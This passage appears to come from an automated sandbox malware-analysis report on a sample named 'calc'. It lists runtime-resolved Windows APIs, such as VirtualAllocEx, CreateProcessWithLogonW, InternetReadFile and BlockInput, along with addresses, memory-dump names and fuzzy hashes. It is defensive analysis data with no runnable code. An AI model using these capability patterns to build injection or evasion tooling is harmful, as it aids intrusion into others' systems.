    • Instruction ID: 8319ed1bb1247ee7603d4177eb116fae53f33f119acae12130f3e88490653f2d
    • Opcode Fuzzy Hash: b7a060d01d0b2cbd5aeda42b9088a336d274536439e0dbfa02d83227cf22a235
    • Instruction Fuzzy Hash: 02D0C770A40706EFC7305F61C88971376D46B01747F10886AF855D1251D778C484DB1C
    Function 004163E7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Psapi.dll,004147A2,00000000,75570F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 004163F2
    • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00416404
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: EnumProcesses$Psapi.dll
    • API String ID: 2574300362-2142768860
    • Opcode ID: 618d42fc2998ab4b9def28153cc674556f41129a2cc7aa5b9427e406e46b19de
    • Instruction ID: b611058c7bdc95c68707464a329fe9fe04a65dd60b5ac42159b78de10f9528b9
    • Opcode Fuzzy Hash: 618d42fc2998ab4b9def28153cc674556f41129a2cc7aa5b9427e406e46b19de
    • Instruction Fuzzy Hash: 1ED0C7B0A40302DAC7205F61E84975A76D46F14703F11C86AF489D1153D778C485CA5C
    Function 00416399 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,00414630,75570F00,00479E08), ref: 004163A4
    • GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 004163B6
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: Process32FirstW$kernel32.dll
    • API String ID: 2574300362-3009187892
    • Opcode ID: 3ef915f0c527edf8a262af86bca1cad1980d7eba1d139d0164bfb6967e731860
    • Instruction ID: ac7a4e64c3133c5cf8734401ae9bcbe9a4321e908ed6f167add39891081ddbe8
    • Opcode Fuzzy Hash: 3ef915f0c527edf8a262af86bca1cad1980d7eba1d139d0164bfb6967e731860
    • Instruction Fuzzy Hash: 53D0C770540706EEC7205F65C84971376D86B04703F14986EFC55D1665D778C484CB1C
    Function 0043B451 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Advapi32.dll), ref: 0043B45C
    • GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 0043B46E
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: Advapi32.dll$CreateProcessWithLogonW
    • API String ID: 2574300362-755999451
    • Opcode ID: a1b84ca584a243ed6f42446eea0f28c42173d9ea2547da7be013d56738bda288
    • Instruction ID: 9c273b0ebcd64cb7b02c8d38e944e95f0e50cbb72423db979123efa01101c5c7
    • Opcode Fuzzy Hash: a1b84ca584a243ed6f42446eea0f28c42173d9ea2547da7be013d56738bda288
    • Instruction Fuzzy Hash: 57D0C770541702FEC7205F71C94A71276D4EB14702F50DC6BB5D5D1152D778C440C65D
    Function 0041640E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Psapi.dll,004147B9,00000000,75570F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00416419
    • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 0041642B
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: EnumProcessModules$Psapi.dll
    • API String ID: 2574300362-751739868
    • Opcode ID: dca742bf0c2191a18ea4fe831902174497c2352ed576befcdaccc270da9a43b6
    • Instruction ID: 62cb81f13000a8f0cdb4eca7f8b3d29870d74f906e8d53b8d7c9d3e7b9002be5
    • Opcode Fuzzy Hash: dca742bf0c2191a18ea4fe831902174497c2352ed576befcdaccc270da9a43b6
    • Instruction Fuzzy Hash: 26D0C9B4942302EACB209F65C84975676E8AF20707F21C86AF889D1252D778D484CA1D
    Function 00416435 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Psapi.dll,004147CB,00000000,75570F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00416440
    • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00416452
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: GetModuleBaseNameW$Psapi.dll
    • API String ID: 2574300362-3411073148
    • Opcode ID: e5c48572f6529f94537383b70a5a634ed20031b773c13a46fdf1be52ef221d82
    • Instruction ID: 1d527614041dbbbff0230691deebb7a116d124e4bb4cc2624b0546b3f0bf7ad4
    • Opcode Fuzzy Hash: e5c48572f6529f94537383b70a5a634ed20031b773c13a46fdf1be52ef221d82
    • Instruction Fuzzy Hash: 11D0C9B0940302EADB208F71C8697167BE8AF10703F21CC6AF88AD1251D778C584CE1D
    Function 004124CB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,004124A7,?,004123DC,00000000,00000000,?,00001000,00000004,?,00000800,?,004029FA,00000800), ref: 004124D6
    • GetProcAddress.KERNEL32(00000000,VirtualAllocEx), ref: 004124E8
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: VirtualAllocEx$kernel32.dll
    • API String ID: 2574300362-4123781057
    • Opcode ID: ac77adb85ffff738263622ca5f465b0932883e972d6436550eac2d7088bc0854
    • Instruction ID: 4ea207f8d300591824fdddc5101b73d117a3650087baea29c81dc6a0e988711c
    • Opcode Fuzzy Hash: ac77adb85ffff738263622ca5f465b0932883e972d6436550eac2d7088bc0854
    • Instruction Fuzzy Hash: D3D09270540703AACB209F65888971276A8AB41742F20C86AFC99D2262DBB8A4849A18
    Function 004124F2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,004124BD,?,0041232F,?,?,00000000,00008000,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 004124FD
    • GetProcAddress.KERNEL32(00000000,VirtualFreeEx), ref: 0041250F
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: VirtualFreeEx$kernel32.dll
    • API String ID: 2574300362-1049216354
    • Opcode ID: 04932301f2a78cefe13b07c69231992dba8d4483a09363a98b225d0f638a4b1c
    • Instruction ID: 6da001b12922d3df2c6c474ef46ecd45665f6b37187fb57d2993ef705c1d34b1
    • Opcode Fuzzy Hash: 04932301f2a78cefe13b07c69231992dba8d4483a09363a98b225d0f638a4b1c
    • Instruction Fuzzy Hash: A0D09270580702AADB309F61898971276A8AB10707F20886AA899E2252D7B8D4848A69
    Function 004265CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,0042476F), ref: 004265D5
    • GetProcAddress.KERNEL32(00000000,CreateHardLinkW), ref: 004265E7
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: CreateHardLinkW$kernel32.dll
    • API String ID: 2574300362-294928789
    • Opcode ID: aaf9ae32a098f21c7d34c0c2c7b5f3892074f661c523aa0547104ae0aadf32d8
    • Instruction ID: 9b13fefce5e6226982f924ed578a84b6c2732edf1a0fe20b4d9930c0dc0723ad
    • Opcode Fuzzy Hash: aaf9ae32a098f21c7d34c0c2c7b5f3892074f661c523aa0547104ae0aadf32d8
    • Instruction Fuzzy Hash: DFD0C770680703EEC7605F61E85971376D46F21703F14887EF455D1255EBB8D484C71D
    Function 004265F1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(shell32.dll,00425246), ref: 004265FC
    • GetProcAddress.KERNEL32(00000000,SHEmptyRecycleBinW), ref: 0042660E
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: SHEmptyRecycleBinW$shell32.dll
    • API String ID: 2574300362-2648762502
    • Opcode ID: 5c5870679de98fa3a7f171b2adc597053b1240f36dedf80deb4db5d465042c9f
    • Instruction ID: 69feca8f4b5e5024963817c407de152b5a8bb493189561f5f2a67b8f08b708d8
    • Opcode Fuzzy Hash: 5c5870679de98fa3a7f171b2adc597053b1240f36dedf80deb4db5d465042c9f
    • Instruction Fuzzy Hash: 3AD0C9B0690302EBCB204F61E84D7237AE8AF14702F2088AEF4C5D2251E778CC40CA1D
    Function 004265A3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(kernel32.dll,00424144,00000000,00000000), ref: 004265AE
    • GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExW), ref: 004265C0
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: GetDiskFreeSpaceExW$kernel32.dll
    • API String ID: 2574300362-1127948838
    • Opcode ID: ed3e403a5b733a6f55669303d0031102fcebbe94640a3d4ebf8c367d74782769
    • Instruction ID: 56f10fb3c108574ad7c62506ca6988ab3858942f7107cd8a287994bf9634255d
    • Opcode Fuzzy Hash: ed3e403a5b733a6f55669303d0031102fcebbe94640a3d4ebf8c367d74782769
    • Instruction Fuzzy Hash: F5D0C974640702EECB209F61E88971376E8AF10703F20886EF499D2259D778C884CB5D
    Function 004418D4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(user32.dll,004413C5), ref: 004418DF
    • GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 004418F1
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: MonitorFromPoint$user32.dll
    • API String ID: 2574300362-355800951
    • Opcode ID: 92819eae385e9d12839bf3ea17687f83216c2e149adf21791c5037f7f1619343
    • Instruction ID: d816af7e206fa6fb37d144fb02bdc24e08f93184c1c263658b26d2d31832ab4b
    • Opcode Fuzzy Hash: 92819eae385e9d12839bf3ea17687f83216c2e149adf21791c5037f7f1619343
    • Instruction Fuzzy Hash: 88D0C970540703EEDB20AF61C88971276E8BF20713F20887BB88BD2261DB7CC480DA1D
    Function 004418FB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(user32.dll,004413D3), ref: 00441906
    • GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 00441918
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: GetMonitorInfoW$user32.dll
    • API String ID: 2574300362-3787768890
    • Opcode ID: 87460ed2882eeec03f62f8abfe9a272826d6655d9327dffbe0991a640beb69e2
    • Instruction ID: 1973df5bb126482aae2e4e6a8735d8a15de43624a53d5d51aca769ce645b95dc
    • Opcode Fuzzy Hash: 87460ed2882eeec03f62f8abfe9a272826d6655d9327dffbe0991a640beb69e2
    • Instruction Fuzzy Hash: 56D0C9B0540702EEDB205FE1C889712B6E8EB54703F208C7BF889D1661E77CC480CA1D
    Function 0040D903 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(user32.dll,0040AD7E), ref: 0040D90E
    • GetProcAddress.KERNEL32(00000000,SetLayeredWindowAttributes), ref: 0040D920
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: SetLayeredWindowAttributes$user32.dll
    • API String ID: 2574300362-3673630139
    • Opcode ID: 0b9319c72a3938820b8e29fe754c2ff4bd06b79e130f39b896147091e9f707c9
    • Instruction ID: d95a0980b9b24fbccb637a881063bc43dac3bd5ace8db47cbba05e6c3ea30a14
    • Opcode Fuzzy Hash: 0b9319c72a3938820b8e29fe754c2ff4bd06b79e130f39b896147091e9f707c9
    • Instruction Fuzzy Hash: 22D0C9B4980302EECB205FA1C8897227BE8EB14703F20887BF889E1291D778C448CA5C
    Function 0042FD05 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(Wininet.dll,0042A928), ref: 0042FD10
    • GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 0042FD22
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: InternetReadFile$Wininet.dll
    • API String ID: 2574300362-924813344
    • Opcode ID: 0b024437d5a358529518af0740c8c3f3769af86ed8bba1f9015ea3fd8d59a6c0
    • Instruction ID: 0738d51040bf5b37f2d3baf1b8c1fd70f6f3e5145db968a4aeea1ded9e3f9793
    • Opcode Fuzzy Hash: 0b024437d5a358529518af0740c8c3f3769af86ed8bba1f9015ea3fd8d59a6c0
    • Instruction Fuzzy Hash: 1ED0C970651316EEEB205FB1D8497137AF8AB54702F608C7EB48AD1261EBB8D444CA5E
    Function 0042FE76 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(user32.dll,0042A1CD), ref: 0042FE81
    • GetProcAddress.KERNEL32(00000000,BlockInput), ref: 0042FE93
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: BlockInput$user32.dll
    • API String ID: 2574300362-2937418566
    • Opcode ID: 404e9111c6e6801255c94cdd9c4d6e53c8d3ef9f70bd27f46ab3d7b24d408f0c
    • Instruction ID: 5cf9de07a1d2d069aa2e7b4fdd9df96ea71fdfaea9e6c567f07273b76baa48ce
